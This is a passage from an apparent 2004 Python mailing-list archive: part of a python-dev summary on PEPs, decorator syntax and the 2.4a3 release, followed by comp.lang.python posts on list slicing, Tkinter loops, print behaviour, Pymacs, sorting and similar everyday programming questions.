reST_ (otherwise it is probably regular expression syntax or a typo =); you can safely ignore it, although I suggest learning reST; it's simple and is accepted for `PEP markup`_ and gives some perks for the HTML output. Also, because of the wonders of programs that like to reformat text, I cannot guarantee you will be able to run the text version of this summary through Docutils_ as-is unless it is from the `original text file`_. .. _PEP Markup: http://www.python.org/peps/pep-0012.html The in-development version of the documentation for Python can be found at http://www.python.org/dev/doc/devel/ and should be used when looking up any documentation on new code; otherwise use the current documentation as found at http://docs.python.org/ . PEPs (Python Enhancement Proposals) are located at http://www.python.org/peps/ . To view files in the Python CVS online, go to http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/ . Reported bugs and suggested patches can be found at the SourceForge_ project page. The `Python Software Foundation`_ is the non-profit organization that holds the intellectual property for Python. It also tries to forward the development and use of Python. But the PSF_ cannot do this without donations. You can make a donation at http://python.org/psf/donations.html . Every penny helps so even a small donation (you can donate through PayPal or by check) helps. .. _python-dev: http://www.python.org/dev/ .. _SourceForge: http://sourceforge.net/tracker/?group_id=5470 .. _python-dev mailing list: http://mail.python.org/mailman/listinfo/python-dev .. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python .. _Docutils: http://docutils.sf.net/ .. _reST: .. _reStructuredText: http://docutils.sf.net/rst.html .. _PSF: .. _Python Software Foundation: http://python.org/psf/ .. contents:: .. _last summary: http://www.python.org/dev/summary/2004-08-16_2004-08-31.html .. _original text file: http://www.python.org/dev/summary/2004-08-16_2004-08-31.ht ===================== Summary Announcements ===================== After asking people last week about how they wanted me to change the python-dev Summary as as to allow me to retain my free time, all respondents unanimously went with the option of letting me choose what I wanted to cover. That made me happy for a couple of reasons. One is that it makes the summaries more enjoyable for me since I mostly cover stuff I like and thus should be less bored at points while writing. It also flattering in a way that people trusted what I would cover enough to not want to suggest what I should cover. It also allows me to spend more time on python-dev participating than sitting on the sidelines dreading have to summarize some 100 email thread on whether we should move over to VC 7 or something (can you tell I was bored out of my skull by that thread?). So this summary starts the new coverage style. As you can see it is much shorter than normal since I didn't try to be as thorough (7 pages compared to the usual 10-20). But I think this style allows what I do summarize to have more details than it would normally have; quality over quantity. I have reintroduced the "Skipped Threads" section of the Summaries so people can see what I skipped in case there is something they might want to read that I just didn't care about. In places where I remember something partially relevant I added a sentence on it so it isn't just a list of subject lines. Enjoy. ========= Summaries ========= ------------- PEP movements ------------- `PEP 3000`_ (Python 3.0 Plans) came into creation. This text's point of existence is to list changes known to be planned for Python 3.0 and not hypothetical (Guido suggested all hypothetical talk call the version Python 3000, partially for marketing purposes). Plus I am a co-author and it finally completes my time in the `School of Hard Knocks`_. =) `PEP 333`_ (Python Web Server Gateway Interface v1.0) proposes a "standard interface between web servers and Python web applications or frameworks, to promote web application portability across a variety of web servers". `PEP 309`_ (Partial Function Application) was updated with some details. `PEP 334`_ (Simple Coroutines via SuspendIteration) came into existence to suggest coming up with some form of lightweight coroutines. .. _School of Hard Knocks: http://mail.python.org/pipermail/python-dev/2002-September/028725.html .. _PEP 3000: http://www.python.org/peps/pep-3000.html .. _PEP 333: http://www.python.org/peps/pep-0333.html .. _PEP 309: http://www.python.org/peps/pep-0309.html .. _PEP 334: http://www.python.org/peps/pep-0334.html Contributing threads: - `Minimal 'stackless' PEP using generators? `__ -------------------------------- Decorators "issue" mostly solved -------------------------------- While the hubbub over using a character for decorators was brewing, people began suggesting reserving a character that would never be used in Python for anything. The thought was that people who wanted to use a character to represent application-specific information could use the reserved symbol and not have to worry about clashing with possible future features like Leo and IPython are with the use of '@'. But no reservation of a character occurred. Towards the end of the month, to meet the a3 deadline, a unified proposal from the community came forward led by Robert Brewer and Michael Sparks. They pushed the J2 proposal:: using: somedecorator staticmethod def func(): pass Guido contemplated the proposal, saying "it got pretty darn close" to being accepted, but in the end decided not to. For Guido's full reasoning see http://mail.python.org/pipermail/python-dev/2004-September/048518.html . But he said he had two key issues. One was the indentation "suggests that its contents should be a sequence of statement, but in fact it is not". Issue two was that using a keyword to start a line was a real attention grabber and that "using" did not deserve this. The topic of how the whole decorators situation was handled was touched upon. He realized that "dramatic changes must be discussed with the community at large". He was also impressed by how the community pulled together to propose an alternative as it did and hopes to see more proposals of the same quality in the future. So now what? Guido said that he would be willing to change the character used for decorators for 2.4b1 . That means if '@' drives you nuts but something else like '!' works for you then speak up and try to get the community to rally behind it. Contributing threads: - `Decorator order implemented backwards? `__ - `Considering decorator syntax on an individual feature `__ - `PEP 318: Suggest we drop it `__ - `__metaclass__ and __author__ are already decorators `__ - `Reserved Characters `__ - `PEP 318: Can't we all just get along? `__ - `Multiple decorators per line `__ - `Important decorator proposal on c.l.p. `__ - `Re: [Python-checkins] python/nondist/peps pep-0318.txt... `__ - `CO_FUTURE_DECORATORS `__ - `decorators: If you go for it, go all the way!!! :) `__ - `Re: Re: def fn (args) [dec,dec]: `__ - `J2 proposal final `__ - `(my) revisions to PEP318 finally done. `__ - `Rejecting the J2 decorators proposal `__ ----------------------------------------------------------- When should something be put under the great powers of -O ? ----------------------------------------------------------- Python has had a simple peephole optimizer in the compiler since 2.3 that optimized imported bytecode. Raymond Hettinger moved it up, though, so that the optimization would be saved to .pyc files and thus remove the need to repeat the process every time. Guido questioned this move. He thought that since it was an optimization it should fall under the -O command-line option. But then people came forward to suggest that Raymond's move was good, saying that the cost of the optimization was non-existent and thus should be used. I brought up the point that a definition of what should be considered an optimization; anything that changes the initial opcode, or something that takes extra time/memory or changes semantics? Tim Peters stepped forward and said that since the optimizations were so simple that he thought they should be kept. David Abrahams also came forward and said they should be kept to get more testing on them since they were not complex and thus did not influence debugging of code. In the end Raymond's change was kept in place. Contributing threads: - `Re: [Python-checkins] python/dist/src/Python compile.c, 2.319, 2.320 `__ ---------------------------------------- 2.4a3 out the doors so kick those tires! ---------------------------------------- `Python 2.4a3`_ has been released. As usual, please download it, run the regression tests, and report any errors you get. Since this will be the last alpha this is your last chance to get new features in before b1 comes out. The use of priorities on the SourceForge tracker has also been clarified. Anything set to 9 **must** be dealt with before the next release. Priority 8 is to be dealt with before b1; it changes functionality so if it isn't in by b1 it won't be in until the next version. Priority 7 is for something that should get in before the final release. Anthony Baxter also gained sole control of setting the priority so as to keep the settings consistent. .. _Python 2.4a3: http://www.python.org/2.4/ Contributing threads: - `2.4a3 release is September 2, SF tracker keywords `__ ------------------- Talking about bytes ------------------- Stemming from a conversation about moving Python over to Unicode only for string representation for 3.0, the discussion of a bytes type came up. People were saying they used str to store binary data and that if str went away or no longer represented straight binary data (since Unicode has different encodings the values can change while meaning the same thing in terms of characters) they would need a way to deal with this. The idea that the array module solved this was basically dismissed since it seemed more built-in support was needed for convenience. It also meant more flexibility in terms of what interfaces were implemented. There was also some issues with getting array to work the exact way people wanted it to. The next question was whether literal support was needed. Would you really need to write something like ``b"\x66\x6f\x6f"`` instead of ``bytes([0x66, 0x6f, 0x6f])``? How all of this would play with Unicode ended up being discussed. In the end it seemed that one could encode and decode back and forth but that all work with character should be in Unicode and only decoded into bytes on the I/O barrier (writing to disk or the network, for instance) to minimize any possible encoding errors and to make usage easier. Mutability came up. Being mutable would be handy, but it killed its usage as a dictionary key. It was suggested that bytes hash to a tuple of integers representing the bytes, but nothing more was said. But in general almost everyone agreed that having the bytes type be mutable was best. `PEP 332`_ was sketched out during the early part of this discussion, but has not been updated since it died down. .. _PEP 332: http://www.python.org/peps/pep-0332.html Contributing threads: - `adding a bytes sequence type to Python `__ - `Byte string class hierarchy `__ -------------------------------------------- String substitution sure is a touchy subject -------------------------------------------- PEP 292`_ (Simpler String Substitutions) got a huge amount of discussion this past two weeks. Ignoring the syntax discussions (that was decided long ago before the PEP was accepted and had consensus and thus was a moot point) and the discussion of whether a trailing ``$`` at the end of the substitution pattern should be considered an error or not (it is), a couple of topics were discussed. To make this summary easier to follow, realize that the class that implements PEP 292 is named "Template" and thus I will just refer to the implementation by that name. The first topic was over whether Template should return Unicode objects. The side supporting it pointed out that Python 3.0 was going to be using Unicode for strings exclusively so it would be good to start using them now. It also went with the initial design of PEP 292 which was to help with i18n where Unicode is constantly used. People against, though, didn't want to suddenly be given a Unicode object when a string was used for template string passed in. That would be too surprising and lead to inconsistent usage thanks to sudden mixing of strings and Unicode objects in code. This issue was resolved by no longer subclassing unicode but making it easy to subclass Template so as to add direct Unicode support with ease. The second issue was other the design of the API. Originally Template was a class that overrode __mod__ to make it work like string interpolation works now for str and unicode. But then some people felt a class was too heavy-handed if there was no way to change the way Template worked through a subclass. This obviously led to a desire for functions to do the work for both Template and SafeTemplate (similar class to Template that left in substitution points if they didn't match any values in the dict passed in). In the end the class design was kept thanks to Tim Peters and metaclasses. Tim came up with a neat way to have the regex be generated at class creation time through a metaclass and thus allow subclasses to change how Template matched substitution points and such, all without a performance hit at instance creation time. Use of __mod__ and the SafeTemplate class were removed and Template grew substitute and safe_substitute methods. Practically everyone at this point seems happy with the design so it has been implemented and checked in. .. _PEP 292: http://www.python.org/peps/pep-0292.html Contributing threads: - `Update PEP 292 `__ - `PEP 292 - Simpler String Substitutions `__ - `Alternative Implementation for PEP 292: Simple String Substitutions `__ - `Alternative placeholder delimiters for PEP 292 `__ ------------------------------------------- Private names considered rude in the stdlib ------------------------------------------- Anthony Baxter suggested banning use of mangled private names (names starting with ``__``) in the stdlib. His argument was that they are a hack and the stdlib is supposed to act as a good example and that name mangling was not good. Guido essentially agreed with the caveat that some uses of private names is justified such as if a private name is storing the equivalent of a 'friend' function from C++. Contributing threads: - `__mangled in stdlib considered poor form `__ =============== Skipped Threads =============== Warnocked (i.e., emails that get essentially no response) emails very insignificant threads are not listed - Find out whether PyEval_InitThreads has been called? - Unifying Long Integers and Integers: baseint - test_tempfile failure on Mac OSX - Deprecate sys.exitfunc? - multiple instances of python on XP - Adding 'lexists()' to os.path - #ifdeffery - Weekly Python Bug/Patch Summary - problem with pymalloc on the BeOS port. - Proposed change to logging - sre.py backward compatibility and PEP 291 - Dealing with test__locale failure on OS X before a3 - os.urandom API - Decoding incomplete unicode Basically culminated into new stateful UTF-8 and UTF-16 decoders but that's all I know =) - Decimal module portability to 2.3? Decimal is compatible with 2.3 at least until 2.5 - Python icons If you think you can come up with a good icon for the Windows installer please let c.l.py know and it might get used - [Python-checkins] python/dist/src/Lib/test test_string.py, 1.25, 1.26 - list += string?? From steven.bethard at gmail.com Thu Sep 23 14:36:55 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 18:36:55 +0000 (UTC) Subject: spliting a list by nth items References: Message-ID: Larry Bates swamisoft.com> writes: > > I believe you meant somthing like: > > non_nth_items = [items[i-1] for i in range(1,len(items)-1) if i % n] Yeah, the items list is not of the form range(x) -- in fact, my current use for this is with a list of filenames -- so Michael Hoffman's solution: > > non_nth_items = [x for x in items if x % n] wouldn't work. In the full fledged problem, I actually have a start parameter for the slice as well as the step parameter (n), so I could probably do something along these lines (inspired by your two suggestions): non_nth_items = [item for i, item in enumerate(items) if (i - start) % n] instead of my original non_nth_items = list(items) del non_nth_items[start::n] The enumerate/range solution is a little more verbose, but it does only go through the list once. Thanks for the good suggestions! STeve From steve at ferg.org Sat Sep 4 09:50:49 2004 From: steve at ferg.org (Stephen Ferg) Date: 4 Sep 2004 06:50:49 -0700 Subject: Automated Perl to Python translation? Message-ID: I need to translate some Perl scripts into Python. When I went looking for a tool that would help automate the translation, I was rather surprised that I couldn't find anything. BridgeKeeper, the only real candidate that I could find, is no longer available. There are of course general-purpose parsing packages, but I'm looking for something target specifically to Perl-to-Python translation. Since I couldn't find anything, I've started to write my own. Preliminary results are good, but before I spend any more time on it I want to be really sure that I'm not re-inventing the wheel. Does anybody know of any tools to automate (or assist) Perl to Python translation? From adalke at mindspring.com Sat Sep 11 15:59:38 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 11 Sep 2004 19:59:38 GMT Subject: How do you make issubclass work In-Reply-To: <52f8effc.0409111056.62be09f6@posting.google.com> References: <52f8effc.0409102054.4bcaa426@posting.google.com> <52f8effc.0409111056.62be09f6@posting.google.com> Message-ID: Nathan Bullock wrote: > This is using python 2.3.3. Is this a bug? Why do we have two > different cla_a's which are not the same? Your file 'a.py' is two things. It's the code being used as the "__main__" module *and* it's used as the "a" module. Add this to your a.py:__main__ to see the difference. import sys main_module = sys.modules["__main__"] print "main is from", main_module.__file__ a_module = sys.modules["a"] print "a is from", a_module.__file__ print "Are the modules the same?", a_module == main_module print "Are the classes the same?", a_module.cla_a == main_module.cla_a You'll see that the file a.py is used twice, and the class cla_a defined once as __main__.cla_a and the other as a.cla_a . To make what you want work, well, a good rule is to avoid circular imports. Another is that your main code should not be imported. But if you want so see your code to work as you expect it to work, you need to change b.py so that the "from a import cla_a" is instead "from __main__ import cla_a" > Now I take it from this answer from Peter, that if I did the test in a > third file so that I was using an imported instance of cla_a that > issubclass would then work properly. It should. Andrew dalke at dalkescientific.com From tim.golden at viacom-outdoor.co.uk Fri Sep 3 11:00:18 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Fri, 3 Sep 2004 16:00:18 +0100 Subject: print with no newline Message-ID: [Jp Calderone] | Basically, print is only meant to help people new to the | language get started ;) | It often does what will make life easiest for someone who is | just getting into things, but which is otherwise confusing, expected, | special-casey, or otherwise undesirable. I mean, the whole | existence of the keyword "print" is an inconsistency, right? | One could quite reasonably expect print to be a function. This point of view comes up from time to time on the list and for the life of me I can't buy into it. Putting aside the obviously tongue-in-cheek implication that only beginners would use print, I have almost never found print to be "confusing... or otherwise undesirable". It does exactly what I expect it to do with the minimum of syntactic clutter. If I want something which I consider special-casey, for example output with no newline, then I know what my options are. And for the most part that'll be when I'm writing out to a file, in which case I'm almost certainly using the f.write etc. methods of the file object. I would *not* reasonably expect print to be a function. Why should it be? Certainly any move to remove the print statement from the language or to replace it by a print function would get my thumbs-down (or whichever way round the Romans did it). TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From sandysj at juno.com Fri Sep 24 19:45:22 2004 From: sandysj at juno.com (Jeff Sandys) Date: Fri, 24 Sep 2004 23:45:22 GMT Subject: Drawing sound References: Message-ID: <4154B192.500B6D97@juno.com> If you want to play specific notes there are several Python Midi packages available. Here is a neat article on how to do a power spectral density diagram (draw sound): http://www.onlamp.com/pub/a/python/2001/01/31/numerically.html I think what you are asking is to drag the mouse on a canvas and then 'play' the canvas as though it were a piano roll? Something like what the MIT Media Lab program 'Hyperscore' does. Because Python is soooo cross platform there is no one way to generate tones on all these platforms, like in qbasic. Tinker for the graphics and PyMidi or Snack would be your best bet on windows. Pygame has graphics and sound capabilities. Other ways are available. Thanks, Jeff Sandys Chris wrote: > > I want a program that can "draw" sound. > > Imagine drawing a graph of frequency against time - > and then being able to play it over the computer speakers. > > Can this be done in Python? > > As a start, consider this simple QBASIC program that > generates random frequencies: > > 10 frequency = 40 + 400 * RND > 20 SOUND frequency, 7 > 30 GOTO 10 > > That's fine - except that it plays over the PC speaker - > the one that's just there for the happy beep - and not > through the sound card and proper speakers. > > Can that be done in Python? > Or in any other language? > -- > Chris From eric_brunel at despammed.com Wed Sep 15 05:41:05 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 15 Sep 2004 11:41:05 +0200 Subject: tkinter + interrupts References: Message-ID: Ajay wrote: > hi! > > on my gui, i have a "start server" button and a "stop server" button. > the problem is "start server" will loop infinitely and respond to requests. > i'd like to be able to click on "stop server" and get the server to stop. > > how would i go about doing it? i can think of a soln involving threads, > where i have "start server" in a separate thread and have it continously > poll a shared variable. but is there another solution not involving > threads. It's possible, but it may be a bit weird. All you have to do is return the control back to the Tkinter mainloop at regular intervals via the update method so that the GUI remains active. Here is an example: -------------------------------------------------------- import time from Tkinter import * root = Tk() lbl = Label(root, text='Blink') lbl.pack(side=TOP) doLoop = 1 def start(): x = 0 while doLoop: if x: lbl.configure(fg='red') else: lbl.configure(fg='black') x = not x time.sleep(1) root.update() def stop(): global doLoop doLoop = 0 Button(root, text='Start', command=start).pack(side=LEFT) Button(root, text='Stop', command=stop).pack(side=LEFT) root.mainloop() -------------------------------------------------------- This is a bit weird, since the GUI is not *always* active; it is only once every second. So clicking the 'Stop' button may have a one second delay before being taken into account. Also remember that the example above is very simple: in real life, you may not have the occasion to call the update method regularly enough. So a solution involving threads is sometimes hard to avoid... HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From ville at spammers.com Sat Sep 25 03:40:13 2004 From: ville at spammers.com (Ville Vainio) Date: 25 Sep 2004 10:40:13 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> Message-ID: >>>>> "Richard" == Richard Hanson writes: Richard> M-brane (generalized string theory), and such Richard> theorists. It is possible that in the higher-dimensioned Richard> theories, quantum mechanics will turn out to be Richard> deterministic. Or, at least that's what I'm quite It's not just possible, it's inevitable if the scientists are worth anything. It's amusing how long this charade of nondeterminism has been allowed to go on, considering how the scientists are supposed to be reasonably rational adults. -- Ville Vainio http://tinyurl.com/2prnb From pinard at iro.umontreal.ca Thu Sep 16 20:23:04 2004 From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard) Date: Thu, 16 Sep 2004 20:23:04 -0400 Subject: NEW MAINTAINER for Pymacs Message-ID: <20040917002304.GA14120@alcyon.progiciels-bpi.ca> Hello to everybody, and Emacs users in the Python community. The Pymacs project (described below) now has new maintainer: Syver Enstad . I'm inviting Pymacs users to collaborate with Syver as nicely as they always did with me. Syver himself has always been known to me as a helpful, competent and enthusiastic Pymacs user. Future announcement or news, as well as any decision about Pymacs, will originate from Syver instead of me. Also, reports, questions or suggestions about Pymacs should ideally be sent directly to Syver. -------------------- Pymacs is a powerful tool which, once started from Emacs, allows both-way communication between Emacs Lisp and Python. Pymacs aims Python as an extension language for Emacs rather than the other way around, and this assymetry is reflected in some design choices. Within Emacs Lisp code, one may load and use Python modules. Python functions may themselves use Emacs services, and handle Emacs Lisp objects kept in Emacs Lisp space. See `http://pymacs.progiciels-bpi.ca' for more documentation, including the manual in HTML form. The canonical Pymacs distribution is available as `http://pymacs.progiciels-bpi.ca/archives/Pymacs.tar.gz'. Report problems and suggestions to Syver Enstad `mailto:syver at inout.no'. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From claird at lairds.us Mon Sep 20 14:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 20 Sep 2004 18:08:05 GMT Subject: Determining if a client PC has an Internet connection References: <1095578301.31957.263.camel@devilbox.devilnet.internal> Message-ID: In article , Andrew Dalke wrote: >Dave Brueck wrote: >> 1) If the user has a modem and is connected via a modem, you know for >> sure that the user is online (use ctypes to call >> rasapi32.RasEnumEntriesA to see if the user has a modem, and >> rasapi32.RasEnumConnectionsA to see if the user is connected via a modem) > >Or is connected to a private network that isn't >connected to the Internet. > >Though these days that's rare. I don't think I've been >in that situation in over 12 years -- the last time >I connected to a dial-up BBS. . . . I think it happens *constantly* for people working with credit-card processing, old industrial systems that used telephone lines for monitoring, and so on. From khaidarx at yahoo.com Thu Sep 23 04:57:22 2004 From: khaidarx at yahoo.com (Abdullah Khaidar) Date: 23 Sep 2004 01:57:22 -0700 Subject: Iteration style Message-ID: Is there any iteration style we must use to get faster processing time? I've tried with some style to concat number in list. But I still don't know which one is the recommended style. >>> def useListIteration(): list = [str(element) for element in range(5)] result = "" for item in list: result += item return result >>> def useNormalIteration(): list = [str(element) for element in range(5)] result = "" for index in range(len(list)): result += list[index] return result >>> def useJoin(): list = [str(element) for element in range(5)] return "".join(list) >>> useListIteration() '01234' >>> useNormalIteration() '01234' >>> useJoin() '01234' >>> def getTimer(): from timeit import Timer t1 = Timer("useListIteration", "from __main__ import useListIteration") t2 = Timer("useNormalIteration", "from __main__ import useNormalIteration") t3 = Timer("useJoin", "from __main__ import useJoin") print "Using list iteration: ", min(t1.repeat()) print "Using normal iteration: ", min(t2.repeat()) print "Using join: " , min(t3.repeat()) >>> getTimer() Using list iteration: 0.0700158819068 Using normal iteration: 0.0701589168456 Using join: 0.0685698880724 >>> getTimer() Using list iteration: 0.070928567737 Using normal iteration: 0.0698613929983 Using join: 0.0693454056312 >>> getTimer() Using list iteration: 0.0683511451874 Using normal iteration: 0.0698585993471 Using join: 0.0708022947051 >>> From roy at panix.com Thu Sep 9 16:39:11 2004 From: roy at panix.com (Roy Smith) Date: Thu, 09 Sep 2004 16:39:11 -0400 Subject: found bakups of code I never asked for --- References: Message-ID: "Anon" wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hey everyone. > > I was looking around my file system today when I stumbled ac ross > A -COMPLETE- bakup of every piece of python code I ever coded in the > folder... > > C:\Documents and Settings\edit.edit\Local Settings\Temp\bak > > Can someone tell me were the options are for turnin this bakup feature on > and off?? Sure. Open up Internet Explorer, and type in "apple.com". From carribeiro at gmail.com Tue Sep 14 10:25:07 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 11:25:07 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: <864d3709040914072537f68297@mail.gmail.com> On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea wrote: > My search for a good IDE ended years ago when I started learning C++, > and found EditPlus, http://www.editplus.com/ -- $30, free 30 day trial > (last I knew.) Thanks for the pointer. Actually, Scintilla is great as far as the editing capabilities are concerned -- including column select, which is just a matter of holding ALT while dragging the mouse. You can try it on PythonWin, it works, as in all . User tools are another matter; for example, DrPython does support them, but I'm still trying to figure out the situation with my slashes vs. backslashes. Reading your feature list, it seems to be missing project management, or to put it simply, to be able to track down what files are part of the project without the need to actually walk around the directory tree to hunt them down. I'll check it out, nonetheless. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From larry at hastings.org Tue Sep 14 05:45:51 2004 From: larry at hastings.org (Larry Hastings) Date: 14 Sep 2004 02:45:51 -0700 Subject: Another worthless decorator syntax suggestion Message-ID: I didn't see this form of decorator syntax listed on the Python Decorator Wiki, but that page is now frozen so I'm posting it here. I realize the futility (and ignominy!) of posting such a thing, especially at such a late date, so I'm happy to say I have absolutely no ego invested in it ;) Behold: def foo(a, b), classmethod, synchronized, martinized: pass Since these are operations on "foo", it doesn't make sense that they be nested deeper than "foo", nor that they come before "foo"; those are the two reasons I'm not a big booster of J2 (or of the pie-syntax). Personally I think it's natural that they be indented at the same level as the "def" but below it; the "def" and function name are more important, so they should go first, but these are siblings of the "def" and therefore should not be indented. After all, aren't the name and arguments of a function just more attributes of the function? And when you decorate a function in Python 2.3, the decoration code is at the same level as the "def", so I assert that this *is* semantically sensible, if syntactically unique. Furthermore, *not* indenting the decorators helps visually set them apart from the function body. I could go on, but either I have your interest at this point or I don't... elaborating won't help. I look forward to seeing the final decision of our BDFL on this subject, as I suspect I will agree with it. Cheers, /larry/ From aleaxit at yahoo.com Sat Sep 4 05:00:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:29 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> Message-ID: <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > Today, sorted() returns a brand new sorted sequence. So it already > takes the full memory and time penalty while doing so. However, **if > sorted() was implemented as a generator**, it would have some > advantage in special cases: > > -- sorting long sequences to use only a few of the first elements. For > example, if you need to sort a long list to get the top 10 elements. A > generator would yield only those elements, saving a lot of time that > would go into sorting everything else. Ridiculous! Since sorted doesn't get TOLD you will only get the first 10 elements, it DOES have to prepare to do everything anyway. If it used a heap sort algorithm "just in case" you only needed the first 10, it would lose big in the much more common cases in which you needed the whole list. Maybe sorted should grow an optional keyword parameter saying you will only need the first N items at most, but if it doesn't, any attempt to save resources based on that hypothesis are doomed. If you need to loop on the first few smallest items of a long sequence, you'll find good solutions in the cookbook (and better ones in the 2nd printed edition I'm supposed to be coediting rather than surfing c.l.py...:-), but the sorted builtin is no use for that. > > -- overall responsiveness in applications where sort is frequently > called. Instead of waiting for the full sort at each sorted() call, > the running time of the sorting method would be divided between the Again, you're assuming (implicitly) heapsort and ignoring the huge performance benefit of Peters' "natural mergesort" as implemented in the current sorted built-in (and list.sort method). In all the many cases in which the whole sorted sequence is wanted, natural mergesort shines, particularly in the common practical cases in which the input sequence already has some pieces ordered, while heapsort gets no prize at all. > calls to the generator. Interactive and multithreaded applications can > benefit of this approach (I'm not sure if sorted() grabs the GIL or > not, but if it does, then it's definitely something to look at). (but > then, again, it may be a poor design choice to use sorted() in these > scenarios -- a heap or some other similar structure would be better > suited. But I digress here). You don't digress at all! If you don't need to minimize total resources spent in sorting, DO consider a heap -- heapq is wonderful (in 2.4 most particularly) and makes heapsort easy as pie. But if you DO need to minimize total resources, sorted is quite another ball of wax. > > Modifying the sorting algorithm to work as a generator is not as hard > as it seems. For example, Quicksort can be easily adapted. It's just a > matter to yield the results as soon as the "left" partition is sorted. That would be a horrid choice. heapsort would perform MUCH better in this case. A quicksort with systematic precedence to the left partition will have some very bad cases (which heapsort doesn't) and be quite hard to program (heapsort IS a snap thanks to heapq). > p.s. I opted to send a copy of this answer to the list, I think it's > good for the discussion. I hope you don't mind. If you hadn't responded publically I'd never would have got a chance to object, so of course I don't mind!-) Alex From lbates at swamisoft.com Fri Sep 3 10:11:37 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 3 Sep 2004 09:11:37 -0500 Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> Message-ID: Print with no newline only works to stdout. If you want to write to a file without newlines use fp.write("text"). import sys fp=open('jjj','w') fp.write(sys.version) fp.write('running on') fp.write(sys.platform) fp.close() after running jjj contains: 2.2.2 (#37, Nov 26 2002, 10:24:37) [MSC 32 bit (Intel)]running onwin32 HTH, Larry Bates Syscon, Inc. "Paul Watson" wrote in message news:2prasrFo4rruU1 at uni-berlin.de... > I thought that using a comma at the end of a print statement would suppress > printing of a newline. Am I misunderstanding this feature? How can I use > print and not have a newline appended at the end? > > C:\src\projects\test1>python -c "import sys;print sys.version, 'running on', > sys.platform" > 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] running on > win32 > > C:\src\projects\test1>python -c "print 'here'," >jjj > > C:\src\projects\test1>od -c jjj > 0000000 h e r e \r \n > 0000006 > > > $ python -c "import sys;print sys.version, 'running on', sys.platform" > 2.1 (#1, May 23 2003, 11:43:56) [C] running on aix4 > > $ cat eoltest.py > #!/usr/bin/env python > print 'here', > > $ ./eoltest.py >jjj > > $ od jjj > 0000000 068 065 072 065 00a > h e r e \n > 0000005 > > From velman at cox.net Thu Sep 16 13:58:26 2004 From: velman at cox.net (John Velman) Date: Thu, 16 Sep 2004 10:58:26 -0700 Subject: Incrementing a string References: <1r8ybb3tfz.fsf@rovereto.ifi.uio.no> Message-ID: Thanks to everyone who responded! I've learned a good deal by reading through the solutions. Don't know which one I'll use yet (or perhaps I'll use something suggested by them), but these take me another step toward 'thinking in Python'. Also, I might add, it's really hard to know of all the machinery that is available --- there is so much of it. I now know about the itertools module, for example. Kjetil Torgrim Homme asked why not just make the labels L1, L2, ..., Paul Foley proposed similarly: label1, label2, ..., and also suggested that if $label="one" it would make sense for $label++ to be "two". Either of these would work (although "one","two",... would be yet a different programming problem). I prefer my initial choice because the labels will be used interactively, and I prefer to be able to do everything from the keyboard. It's easier for me to type "aq" than "L42". I'm a pretty good touch typist as far as lower case letters go, but usually have to look at the keyboard to type numerals. So "m" is preferable to "L12" but, to me, there isn't much difference between typing "l12" and "label12". I think some of the proposed solutions would make it easy to taylor the kind of label as a user preference if I ever get this application to the point that I think someone else might be interested in using it. And yes, I think I'm going to enjoy Python. Best, John Velman From nhodgson at bigpond.net.au Tue Sep 7 08:17:27 2004 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Tue, 07 Sep 2004 12:17:27 GMT Subject: Secure delete with python References: Message-ID: For example source code and discussion for Windows see http://www.sysinternals.com/ntw2k/source/sdelete.shtml Neil From groups.google at gnosis.cx Fri Sep 17 20:31:25 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 17 Sep 2004 17:31:25 -0700 Subject: Electronic voting feasibility References: Message-ID: <8cf9f521.0409171631.551bec6a@posting.google.com> Peter Hansen wrote in message news:... > > > (Now I'm curious what happened to that project... Anand? David?) > Answered at http://www.openvotingconsortium.org/news.html > (Summary: the prototype was demonstrated with success. Python > and lots of hard work by volunteers got the job done.) Peter's summary is basically right. Python worked great to make the demo system--and I still hope it will be used to make the production system. I think Python is exactly the right choice; it's too bad a lot of people have a wrongheaded idea about static typing magically improving the security of systems (but a vague sentiment that Java or C would be better for some ill-defined reason comes up sometimes). But since the successful demo, we've mostly been in a political lobbying and applying-for-grants mode. I won't go into all of it, but there's a lot going on on several legislative fronts, and in the lobbying of political decisions by voting officials at different levels. To move the system along, we probably need to obtain one of the several large-scale funding proposals we've put forward. Volunteers are great, but this is probably a thing that needs some more formal, funded development to get certified. Hopefully some more Python programming in the near future, on this front. Yours, David... From frankabel at tesla.cujae.edu.cu Mon Sep 20 01:32:21 2004 From: frankabel at tesla.cujae.edu.cu (frankabel) Date: Sun, 19 Sep 2004 22:32:21 -0700 